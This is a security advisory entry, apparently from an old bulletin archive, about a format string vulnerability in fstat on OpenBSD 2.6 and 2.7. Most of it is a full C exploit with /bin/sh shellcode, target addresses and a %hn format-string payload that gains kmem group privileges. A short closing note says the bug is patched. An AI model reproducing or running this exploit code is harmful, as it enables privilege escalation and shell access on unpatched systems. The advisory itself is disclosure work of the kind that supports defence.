COMMAND

    fstat

SYSTEMS AFFECTED

    OpenBSD 2.6, 2.7

PROBLEM

    K2 posted following.  Here  is another exploit for an  application
    (fstat) that OpenBSD's format string audit has seemingly forgotten
    about.  On 2.6 (using the canned exploit) you get egid=2 (kmem).

    /*
     *  theoBSD fstat - private caddis & K2 release
     *  TagTeam exploit coding @$_*#%*&(#%(**(@$*($@
     *
     *  greets: #!adm, #!teso, #!w00w00
     *
     */
    #include <stdio.h>
    
    char bsd_shellcode[] =
    "\xeb\x16\x5e\x31\xc0\x8d\x0e\x89"
    "\x4e\x08\x89\x46\x0c\x8d\x4e\x08"
    "\x50\x51\x56\x50\xb0\x3b\xcd\x80"
    "\xe8\xe5\xff\xff\xff/bin/sh";
    
    struct platform {
        char *name;
        unsigned short count;
        unsigned long dest_addr;
        unsigned long shell_addr;
        char *shellcode;
    };
    
    struct platform targets[2] =
    {
        { "OpenBSD 2.7 i386       ", 590, 0xdfbfc490, 0xdfbfde04, bsd_shellcode },
        { NULL, 0, 0, 0, NULL }
    };
    
    char fmt_string[3072], jmpcode[500] = "PWD=HI", term[] = "TERM=xterm";
    char *envs[] = { term, jmpcode, NULL};
    
    void usage(char *name)
    {
        printf("%s <TARGET>\n"
               "1 - OpenBSD 2.7 i386\n", name);
        exit(1);
    }
    
    int main(int argc, char *argv[])
    {
        char *p;
        int x, len = 0;
        struct platform *target;
        unsigned short low, high;
        unsigned long shell_addr[2], dest_addr[2];
    
        if (argc != 2)
            usage(argv[0]);
    
        x = atoi(argv[1]) - 1;
        if (x > ((sizeof(targets)-sizeof(struct platform)) / sizeof(struct platform)) - 1 || x < 0)
            usage(argv[0]);
    
        target = &targets[x];
    
        memset(fmt_string, 0, sizeof(fmt_string));
        len = (sizeof(long) * 4) + 2;
        p = fmt_string + len;
        for (x = 0; x < target->count; x++) {
            strcat(p, "%8x");
            len += 8;
        }
    
        shell_addr[0] = (target->shell_addr & 0xffff0000) >> 16;
        shell_addr[1] =  target->shell_addr & 0xffff;
    
        if (shell_addr[1] > shell_addr[0]) {
            dest_addr[0] = target->dest_addr+2;
            dest_addr[1] = target->dest_addr;
            low  = shell_addr[0] - len;
            high = shell_addr[1] - low - len;
        } else {
            dest_addr[0] = target->dest_addr;
            dest_addr[1] = target->dest_addr+2;
            low  = shell_addr[1] - len;
            high = shell_addr[0] - low - len;
        }
    
        memcpy(fmt_string, "!!", 2);
        *(long *)&fmt_string[2]  = 0x11111111;
        *(long *)&fmt_string[6]  = dest_addr[0];
        *(long *)&fmt_string[10] = 0x11111111;
        *(long *)&fmt_string[14] = dest_addr[1];
    
        memset(jmpcode, 0x90, sizeof(jmpcode));
        strcpy(jmpcode + (sizeof(jmpcode) - strlen(target->shellcode) - 1), target->shellcode);
    
        p = fmt_string + strlen(fmt_string);
        sprintf(p, "%%%dd%%hn%%%dd%%hn", low, high);
    
        execle("/usr/bin/fstat", "fstat", fmt_string, NULL, envs);
        perror("execve");
    }

SOLUTION

    This has  been fixed.   Look for  patch at  www.openbsd.org.   2.8
    does not give  you a shell,  but instead results  in a "File  name
    too long" message.